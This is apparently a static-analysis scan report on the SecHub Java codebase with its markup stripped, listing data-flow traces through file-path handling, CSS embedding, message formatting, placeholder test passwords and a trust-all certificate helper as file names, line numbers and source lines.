sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 150 + 32 + 5 + redAlertFilePath + + 16 + + + 150 + redalert=readMockData(type, redAlertFilePath); + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 167 + 50 + 6 + filePath + + 8 + + + 167 + private String readMockData(String type, String filePath) { + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 169 + 24 + 7 + filePath + + 8 + + + 169 + File file = new File(filePath); + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 169 + 15 + 8 + File + + 3 + + + 169 + File file = new File(filePath); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 58 + 1 + ""secret/"" + + 9 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 23 + 2 + File + + 3 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 58 + 1 + ""gen/"" + + 6 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 23 + 2 + File + + 3 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 32 + 1 + ""./sechub-server"" + + 17 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 23 + 2 + File + + 3 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 28 + 1 + ""./../sechub-server"" + + 20 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 19 + 2 + File + + 3 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 56 + 26 + 1 + ""./.."" + + 6 + + + 56 + rootFolder = new File("./.."); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 56 + 17 + 2 + File + + 3 + + + 56 + rootFolder = new File("./.."); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 129 + 44 + 1 + ""src/docs/asciidoc/"" + + 20 + + + 129 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 129 + 23 + 2 + File + + 3 + + + 129 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 32 + 45 + 1 + ""documents/gen/"" + + 16 + + + 32 + public static final String DOCUMENTS_GEN = "documents/gen/"; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 32 + 29 + 2 + DOCUMENTS_GEN + + 13 + + + 32 + public static final String DOCUMENTS_GEN = "documents/gen/"; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 64 + 3 + scanForSpringRestDocGenFolder + + 1 + + + 115 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 64 + 4 + scanForSpringRestDocGenFolder + + 1 + + + 115 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 116 + 65 + 5 + copyToDocumentationProject + + 1 + + + 116 + restDocEntry.copiedRestDocFolder = copyToDocumentationProject(projectRestDocGenFolder, id); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 129 + 65 + 6 + DOCUMENTS_GEN + + 13 + + + 129 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 129 + 23 + 7 + File + + 3 + + + 129 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 145 + 39 + 1 + ""generated-snippets/"" + + 21 + + + 145 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 145 + 20 + 2 + File + + 3 + + + 145 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 37 + 11 + 1 + ""classpath:templates/report/html/scanresult.css"" + + 48 + + + 37 + Resource cssResource; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 37 + 11 + 2 + cssResource + + 11 + + + 37 + Resource cssResource; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 112 + 21 + 3 + cssResource + + 11 + + + 112 + InputStream in = cssResource.getInputStream(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 112 + 47 + 4 + getInputStream + + 1 + + + 112 + InputStream in = cssResource.getInputStream(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 112 + 16 + 5 + in + + 2 + + + 112 + InputStream in = cssResource.getInputStream(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 113 + 70 + 6 + in + + 2 + + + 113 + try (BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF-8"))){ + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 113 + 29 + 7 + BufferedReader + + 3 + + + 113 + try (BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF-8"))){ + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 113 + 84 + 8 + br + + 1 + + + 113 + try (BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF-8"))){ + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 18 + 9 + br + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 10 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 11 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 12 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 13 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 14 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 15 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 16 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 17 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 18 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 19 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 20 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 21 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 22 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 23 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 24 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 111 + 48 + 25 + build + + 1 + + + 111 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 111 + 23 + 26 + map + + 3 + + + 111 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 114 + 27 + 27 + map + + 3 + + + 114 + assertEquals("theInfo", map.get("info")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 115 + 22 + 28 + map + + 3 + + + 115 + assertSame(result, map.get("result")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 116 + 25 + 29 + map + + 3 + + + 116 + assertSame(greenList, map.get("greenList")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 117 + 23 + 30 + map + + 3 + + + 117 + assertSame(redList, map.get("redList")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 118 + 26 + 31 + map + + 3 + + + 118 + assertSame(yellowList, map.get("yellowList")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 119 + 21 + 32 + map + + 3 + + + 119 + assertEquals(true,map.get("isWebDesignMode")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 122 + 17 + 33 + map + + 3 + + + 122 + assertNotNull(map.get("includedCSSRef")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 123 + 25 + 34 + map + + 3 + + + 123 + String path = (String)map.get("includedCSSRef"); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 123 + 32 + 35 + get + + 1 + + + 123 + String path = (String)map.get("includedCSSRef"); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 123 + 10 + 36 + path + + 4 + + + 123 + String path = (String)map.get("includedCSSRef"); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 124 + 29 + 37 + path + + 4 + + + 124 + File foundFile = new File(path); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 124 + 20 + 38 + File + + 3 + + + 124 + File foundFile = new File(path); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 125 + 16 + 1 + ""/* not able to load css from server */"" + + 40 + + + 125 + embeddedCSS="/* not able to load css from server */"; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 125 + 4 + 2 + embeddedCSS + + 11 + + + 125 + embeddedCSS="/* not able to load css from server */"; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 3 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 4 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 5 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 6 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 7 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 8 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 9 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 111 + 48 + 10 + build + + 1 + + + 111 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 111 + 23 + 11 + map + + 3 + + + 111 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 114 + 27 + 12 + map + + 3 + + + 114 + assertEquals("theInfo", map.get("info")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 115 + 22 + 13 + map + + 3 + + + 115 + assertSame(result, map.get("result")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 116 + 25 + 14 + map + + 3 + + + 116 + assertSame(greenList, map.get("greenList")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 117 + 23 + 15 + map + + 3 + + + 117 + assertSame(redList, map.get("redList")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 118 + 26 + 16 + map + + 3 + + + 118 + assertSame(yellowList, map.get("yellowList")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 119 + 21 + 17 + map + + 3 + + + 119 + assertEquals(true,map.get("isWebDesignMode")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 122 + 17 + 18 + map + + 3 + + + 122 + assertNotNull(map.get("includedCSSRef")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 123 + 25 + 19 + map + + 3 + + + 123 + String path = (String)map.get("includedCSSRef"); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 123 + 32 + 20 + get + + 1 + + + 123 + String path = (String)map.get("includedCSSRef"); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 123 + 10 + 21 + path + + 4 + + + 123 + String path = (String)map.get("includedCSSRef"); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 124 + 29 + 22 + path + + 4 + + + 124 + File foundFile = new File(path); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 124 + 20 + 23 + File + + 3 + + + 124 + File foundFile = new File(path); + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 86 + 46 + 1 + ""/"" + + 3 + + + 86 + return loadTestFileFromRoot(resourcePath + "/" + path, lineBreak); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 111 + 44 + 2 + pathFromRoot + + 12 + + + 111 + public String loadTestFileFromRoot(String pathFromRoot, String lineBreak) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 115 + 34 + 3 + pathFromRoot + + 12 + + + 115 + File file = createFileFromRoot(pathFromRoot); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 141 + 40 + 4 + pathFromRoot + + 12 + + + 141 + public File createFileFromRoot(String pathFromRoot) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 142 + 50 + 5 + pathFromRoot + + 12 + + + 142 + return assertFile(new File(detectedGradleRoot, pathFromRoot)); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 142 + 21 + 6 + File + + 3 + + + 142 + return assertFile(new File(detectedGradleRoot, pathFromRoot)); + + + + + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryDBTest.java + 117 + 17 + 1 + ""netsparker/netsparker_v1.0.40.109_testresult1.xml"" + + 51 + + + 117 + String path = "netsparker/netsparker_v1.0.40.109_testresult1.xml"; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryDBTest.java + 117 + 10 + 2 + path + + 4 + + + 117 + String path = "netsparker/netsparker_v1.0.40.109_testresult1.xml"; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryDBTest.java + 118 + 90 + 3 + path + + 4 + + + 118 + String netsparkerContent = ScanDomainTestFileSupport.getTestfileSupport().loadTestFile(path); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 70 + 36 + 4 + path + + 4 + + + 70 + public String loadTestFile(String path) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 71 + 23 + 5 + path + + 4 + + + 71 + return loadTestFile(path, "\n"); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 85 + 36 + 6 + path + + 4 + + + 85 + public String loadTestFile(String path, String lineBreak) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 86 + 52 + 7 + path + + 4 + + + 86 + return loadTestFileFromRoot(resourcePath + "/" + path, lineBreak); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 111 + 44 + 8 + pathFromRoot + + 12 + + + 111 + public String loadTestFileFromRoot(String pathFromRoot, String lineBreak) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 115 + 34 + 9 + pathFromRoot + + 12 + + + 115 + File file = createFileFromRoot(pathFromRoot); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 141 + 40 + 10 + pathFromRoot + + 12 + + + 141 + public File createFileFromRoot(String pathFromRoot) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 142 + 50 + 11 + pathFromRoot + + 12 + + + 142 + return assertFile(new File(detectedGradleRoot, pathFromRoot)); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 142 + 21 + 12 + File + + 3 + + + 142 + return assertFile(new File(detectedGradleRoot, pathFromRoot)); + + + + + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 106 + 89 + 1 + ""sechub-scan/src/main/resources/templates/report/html/scanresult.css"" + + 69 + + + 106 + File expectedFile = ScanDomainTestFileSupport.getTestfileSupport().createFileFromRoot("sechub-scan/src/main/resources/templates/report/html/scanresult.css"); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 141 + 40 + 2 + pathFromRoot + + 12 + + + 141 + public File createFileFromRoot(String pathFromRoot) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 142 + 50 + 3 + pathFromRoot + + 12 + + + 142 + return assertFile(new File(detectedGradleRoot, pathFromRoot)); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 142 + 21 + 4 + File + + 3 + + + 142 + return assertFile(new File(detectedGradleRoot, pathFromRoot)); + + + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 228 + 27 + 1 + format + + 1 + + + 228 + return dateFormat.format(new Date()); + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 173 + 37 + 1 + format + + 1 + + + 173 + String part = MessageFormat.format(MSG_APICALL_GET_HISTORY_IDS, Long.toString(context.getNessusScanId())); + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 178 + 37 + 1 + format + + 1 + + + 178 + String part = MessageFormat.format(MSG_APICALL_LAUNCH_SCAN, Long.toString(context.getNessusScanId())); + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 183 + 37 + 1 + format + + 1 + + + 183 + String part = MessageFormat.format(MSG_APICALL_EXPORT_SCAN, Long.toString(context.getNessusScanId())); + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 188 + 37 + 1 + format + + 1 + + + 188 + String part = MessageFormat.format(MSG_APICALL_EXPORT_SCAN_STATUS, Long.toString(context.getNessusScanId()), + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 194 + 37 + 1 + format + + 1 + + + 194 + String part = MessageFormat.format(MSG_APICALL_EXPORT_SCAN_DOWNLOAD, Long.toString(context.getNessusScanId()), + + + + + + + + + sechub-notification/src/main/java/com/daimler/sechub/domain/notification/user/NewAPITokenAppliedUserNotificationService.java + 29 + 43 + 1 + format + + 1 + + + 29 + emailContent.append(MessageFormat.format("The new api token has been applied to your user:\"{0}\".\n", + + + + + + + + + + + sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1WireMockTest.java + 35 + 30 + 1 + PASSWORD + + 8 + + + 35 + private static final String PASSWORD = "12345BASE64_PWD"; + + + + + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractMultiInstallSetupTest.java + 10 + 30 + 1 + PASSWORD_INTERNET + + 17 + + + 10 + private static final String PASSWORD_INTERNET = "pwdInternet"; + + + + + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractMultiInstallSetupTest.java + 11 + 30 + 1 + PASSWORD_INTRANET + + 17 + + + 11 + private static final String PASSWORD_INTRANET = "pwdIntranet"; + + + + + + + + + sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilderTest.java + 261 + 86 + 1 + ""pwd-developer"" + + 15 + + + 261 + TestAdapterConfigInterface cf1 = validConfigAnd().setUser("developer").setPassword("pwd-developer").build(); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 106 + 36 + 2 + password + + 8 + + + 106 + public final B setPassword(String password) { + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 107 + 19 + 3 + password + + 8 + + + 107 + this.password = password; + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 107 + 7 + 4 + password + + 1 + + + 107 + this.password = password; + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java + 108 + 14 + 5 + AbstractAdapterConfigBuilder + + 4 + + + 108 + return (B) this; + + + + + sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilderTest.java + 261 + 85 + 6 + setPassword + + 1 + + + 261 + TestAdapterConfigInterface cf1 = validConfigAnd().setUser("developer").setPassword("pwd-developer").build(); + + + + + + + + + sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImpl.java + 30 + 17 + 1 + intranetNessusPassword + + 22 + + + 30 + private String intranetNessusPassword; + + + + + + + + + sechub-scan-product-nessus/src/main/java/com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImpl.java + 34 + 17 + 1 + internetNessusPassword + + 22 + + + 34 + private String internetNessusPassword; + + + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 36 + 44 + 1 + getProperty + + 1 + + + 36 + File parent = new File(System.getProperty("java.io.tmpdir")); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 36 + 17 + 2 + File + + 3 + + + 36 + File parent = new File(System.getProperty("java.io.tmpdir")); + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 49 + 44 + 1 + getProperty + + 1 + + + 49 + File parent = new File(System.getProperty("java.io.tmpdir")); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java + 49 + 17 + 2 + File + + 3 + + + 49 + File parent = new File(System.getProperty("java.io.tmpdir")); + + + + + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 28 + 42 + 1 + getProperty + + 1 + + + 28 + File file = new File(System.getProperty("java.io.tmpdir")); + + + + + sechub-doc/src/test/java/com/daimler/sechub/docgen/util/TextFileWriterTest.java + 28 + 15 + 2 + File + + 3 + + + 28 + File file = new File(System.getProperty("java.io.tmpdir")); + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 45 + 1 + getProperty + + 1 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 35 + 18 + 2 + File + + 3 + + + 35 + File userDir = new File(System.getProperty("user.dir")); + + + + + + + + + + + sechub-cli/build.gradle + 13 + 30 + 1 + getProperty + + 6 + + + 13 + String osLowerCase = System.getProperty("os.name").toLowerCase(); + + + + + + + + + sechub-server/build.gradle + 28 + 30 + 1 + getProperty + + 6 + + + 28 + String osLowerCase = System.getProperty("os.name").toLowerCase(); + + + + + + + + + build-maven.gradle + 16 + 14 + 1 + getenv + + 1 + + + 16 + def buildNr = System.getenv('ci.buildNumber') + + + + + + + + + build-maven.gradle + 16 + 14 + 1 + getenv + + 1 + + + 16 + def buildNr = System.getenv('ci.buildNumber') + + + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TrustAllSupport.java + 106 + 31 + 1 + emptyCertificatesArray + + 22 + + + 106 + private X509Certificate[] emptyCertificatesArray = new X509Certificate[] {}; + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TrustAllSupport.java + 117 + 13 + 2 + emptyCertificatesArray + + 22 + + + 117 + return emptyCertificatesArray; + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 48 + 26 + 1 + groups + + 6 + + + 48 + private UseCaseGroup[] groups; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 60 + 11 + 2 + groups + + 6 + + + 60 + return groups; + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 127 + 18 + 1 + next + + 4 + + + 127 + private int[] next; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 193 + 12 + 2 + next + + 4 + + + 193 + return next; + + + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/internal/MockEmailAccess.java + 70 + 34 + 1 + e + + 1 + + + 70 + } catch (InterruptedException e) { + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/internal/MockEmailAccess.java + 71 + 5 + 2 + e + + 1 + + + 71 + e.printStackTrace(); + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/internal/MockEmailAccess.java + 71 + 22 + 3 